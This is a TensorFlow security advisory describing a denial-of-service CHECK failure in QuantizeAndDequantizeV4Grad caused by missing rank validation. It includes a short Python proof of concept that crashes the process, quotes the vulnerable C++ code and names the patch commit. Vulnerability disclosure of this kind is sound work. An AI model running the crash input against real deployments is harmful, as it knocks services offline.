CHECK-fail in `QuantizeAndDequantizeV4Grad`

Impact

An attacker can trigger a denial of service via a CHECK-fail in tf.raw_ops.QuantizeAndDequantizeV4Grad:

import tensorflow as tf

gradient_tensor = tf.constant([0.0], shape=[1])
input_tensor = tf.constant([0.0], shape=[1])
input_min = tf.constant([[0.0]], shape=[1, 1])
input_max = tf.constant([[0.0]], shape=[1, 1])

tf.raw_ops.QuantizeAndDequantizeV4Grad(
  gradients=gradient_tensor, input=input_tensor,
  input_min=input_min, input_max=input_max, axis=0)

This is because the implementation does not validate the rank of the input_* tensors. In turn, this results in the tensors being passes as they are to QuantizeAndDequantizePerChannelGradientImpl:

template <typename Device, typename T>
struct QuantizeAndDequantizePerChannelGradientImpl {
  static void Compute(const Device& d,
                      typename TTypes<T, 3>::ConstTensor gradient,
                      typename TTypes<T, 3>::ConstTensor input,
                      const Tensor* input_min_tensor,
                      const Tensor* input_max_tensor,
                      typename TTypes<T, 3>::Tensor input_backprop,
                      typename TTypes<T>::Flat input_min_backprop,
                      typename TTypes<T>::Flat input_max_backprop) {
    ...
    auto input_min = input_min_tensor->vec<T>();
    auto input_max = input_max_tensor->vec<T>();
    ...
}

However, the vec<T> method, requires the rank to 1 and triggers a CHECK failure otherwise.

Patches

We have patched the issue in GitHub commit 20431e9044cf2ad3c0323c34888b192f3289af6b.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2 as this is the only other affected version.
